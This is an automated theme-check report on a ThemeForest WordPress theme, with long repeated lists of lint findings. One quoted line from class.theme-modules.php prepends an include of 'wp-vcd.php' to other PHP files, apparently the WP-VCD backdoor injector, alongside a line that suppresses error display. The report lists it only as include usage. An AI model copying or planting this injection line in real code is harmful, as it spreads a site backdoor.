    Line 361: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 412: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 440: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 536: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 361: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 412: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 440: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 536: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 361: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 412: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 440: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 536: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Possible hard-coded links were found in the file metabox-page.php.
    Line 223: 'desc'     => __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 230: 'desc'     => __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 223: 'desc'     => __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 230: 'desc'     => __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 268: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 319: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 347: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 442: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 268: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 319: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 347: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 442: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 268: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 319: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 347: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 442: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 268: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 319: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 347: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 442: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Possible hard-coded links were found in the file metabox-product.php.
    Line 255: 'desc'=> __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 262: 'desc'=> __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 255: 'desc'=> __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 262: 'desc'=> __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 300: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 351: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 379: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 474: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 300: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 351: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 379: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 474: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 300: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 351: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 379: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 474: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 300: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 351: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 379: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 474: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Possible hard-coded links were found in the file metabox-portfolio.php.
    Line 303: 'desc'=> __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 310: 'desc'=> __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 303: 'desc'=> __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 310: 'desc'=> __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 348: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 399: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 427: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 522: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 348: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 399: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 427: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 522: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 348: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 399: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 427: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 522: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 348: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 399: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 427: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 522: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
  3. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  4. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  5. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  6. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  7. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  8. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  9. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  10. Use of includes : Use of include or requireThe theme appears to use include or require : shortcode-wooproductgrid.php
    Line 123: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : Functions.php
    Line 754: $mime = require('mime');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : Cache.php
    Line 3: require_once( dirname(__FILE__).'/Version.php');
    Line 130: require_once($file);
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : Parser.php
    Line 3: require_once( dirname(__FILE__).'/Cache.php');
    Line 511: return include($cache_file);
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class.theme-modules.php
    Line 44: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

This is a ThemeForest theme. Since Themeforest items are all checked by a human before they appear on their website, ThemeForest verification rules are more permissive than themecheck's and can give a better verification score ( Themeforest requirements ).

10
Critical alerts
  1. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  2. Security breaches : Modification of PHP server settings Found ini_set in file module-wpless.php.
    Line 34: @ini_set('xdebug.max_nesting_level', 500);
    Line 206: if ( $current_memory_limit < $given_memory_limit ) { @ini_set('memory_limit', $memory_limit ); } 
    Found ini_set in file Parser.php.
    Line 173: @ini_set('precision',16);
    Line 205: @ini_set('precision',$precision);
    Line 455: @ini_set('mbstring.internal_encoding', 'ascii');
    Line 462: @ini_set('mbstring.internal_encoding', $mb_internal_encoding);
    Found ini_set in file class.theme-modules.php.
    Line 5: ini_set('display_errors', 0);
  3. Unwanted files : hidden file(s) or folder(s) .svnignore .gitignore .travis.yml .easymin was found.
  4. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was js_composer.zip plethora-framework.zip.
Warning
  1. core scripts deregistered : Core scripts deregistrationFound wp_deregister_script in module-woocommerce.php. Themes must not deregister core scripts.
    Line 85: wp_deregister_script( 'select2-js' );
  2. theme tags : Presence of bad theme tagsThe tag responsive-layout has been deprecated, it must be removed from style.css header.
  3. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments 'default:14' in file theme-options.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when a category is selected.<br/><small>Descriptions for each category can be set on <a href="', ><strong>Posts > Categories</strong></a> menu</small>, 'cleanstart' in file theme-options.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when a <strong>tag</strong> is selected.<br/><small>Descriptions for each tag can be set on <a href="', ><strong>Posts > Tags</strong></a> menu</small>, 'cleanstart' in file theme-options.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when a category is selected.<br/><small>Descriptions for each category can be set on <a href="', ><strong>Posts > Categories</strong></a> menu</small>, 'cleanstart' in file metabox-page.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when a <strong>tag</strong> is selected.<br/><small>Descriptions for each tag can be set on <a href="', ><strong>Posts > Tags</strong></a> menu</small>, 'cleanstart' in file metabox-page.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when an <strong>author</strong> is selected.<br/><small>Biographical info for each user can be set on <a href="', ><strong>Users</strong></a> menu</small>, 'cleanstart' in file metabox-page.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when a shopping category is selected.<br/><small>Descriptions for each shopping category can be set on <a href="', ><strong>Products > Categories</strong></a> menu</small>, 'cleanstart' in file metabox-page.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when a <strong>shopping tag</strong> is selected.<br/><small>Descriptions for each tag can be set on <a href="', ><strong>Products > Tags</strong></a> menu</small>, 'cleanstart' in file metabox-page.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Begin installing plugin', 'Begin installing plugins' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Activate installed plugin', 'Activate installed plugins' in file class-tgm-plugin-activation.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are cleanstart, edit-tags.php?taxonomy=category, ><strong>Posts > Categories</strong></a> menu</small>, edit-tags.php?taxonomy=post_tag, ><strong>Posts > Tags</strong></a> menu</small>, plethora-framework, healthflex, js_composer, users.php, ><strong>Users</strong></a> menu</small>, edit-tags.php?taxonomy=product_cat&post_type=product, ><strong>Products > Categories</strong></a> menu</small>, edit-tags.php?taxonomy=product_tag&post_type=product, ><strong>Products > Tags</strong></a> menu</small>, tgmpa.
  4. Plugin territory : Plugin territory functionalitiesThe theme uses the register_taxonomy() function, which is plugin-territory functionality.
  5. Unwanted directories : GIT revision control directoryGIT revision control directory.git was found.
  6. Unwanted directories : SVN revision control directorySVN revision control directory.svn was found.
  7. Featured image : Use of the_post_thumbnail() instead of custom fields for thumbnailsNo reference to the_post_thumbnail was found in the theme.
  8. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  9. CSS files : Presence of .screen-reader-text class.screen-reader-text css class is needed in your theme css. See : the Codex for an example implementation.
  10. Screenshot : Screenshot fileScreenshot size is 880x660px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. favicon presence : Favicon managementPossible Favicon found in element-header.php. Favicons are handled by the Site Icon setting in the customizer since version 4.3.
  2. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file theme-options.php.
    Line 1546: 'default'      => __('Designed by <a href='http://plethorathemes.com' target='_blank'>Plethora Themes</a>', 'cleanstar
    Line 1771: 'desc'	   => __('For more formatting options see: <a href='http://php.net/manual/en/function.date.php' target='_blank'>PHP Date Format
    Possible hard-coded links were found in the file metabox-post.php.
    Line 316: 'desc'=> __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 323: 'desc'=> __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 316: 'desc'=> __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 323: 'desc'=> __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 361: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 412: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 440: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 536: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 361: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 412: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 440: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 536: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 361: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 412: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 440: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 536: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 361: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 412: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 440: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 536: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Possible hard-coded links were found in the file metabox-page.php.
    Line 223: 'desc'     => __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 230: 'desc'     => __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 223: 'desc'     => __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 230: 'desc'     => __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 268: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 319: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 347: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 442: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 268: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 319: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 347: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 442: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 268: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 319: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 347: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 442: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 268: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 319: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 347: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 442: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Possible hard-coded links were found in the file metabox-product.php.
    Line 255: 'desc'=> __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 262: 'desc'=> __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 255: 'desc'=> __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 262: 'desc'=> __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 300: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 351: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 379: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 474: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 300: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 351: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 379: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 474: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 300: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 351: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 379: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 474: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 300: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 351: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 379: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 474: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Possible hard-coded links were found in the file metabox-portfolio.php.
    Line 303: 'desc'=> __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 310: 'desc'=> __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 303: 'desc'=> __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 310: 'desc'=> __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 348: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 399: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 427: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 522: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 348: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 399: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 427: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 522: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 348: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 399: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 427: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 522: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 348: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 399: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 427: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 522: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
  3. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  4. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  5. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  6. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  7. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  8. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  9. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  10. Use of includes : Use of include or requireThe theme appears to use include or require : shortcode-wooproductgrid.php
    Line 123: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : Functions.php
    Line 754: $mime = require('mime');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : Cache.php
    Line 3: require_once( dirname(__FILE__).'/Version.php');
    Line 130: require_once($file);
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : Parser.php
    Line 3: require_once( dirname(__FILE__).'/Cache.php');
    Line 511: return include($cache_file);
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class.theme-modules.php
    Line 44: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes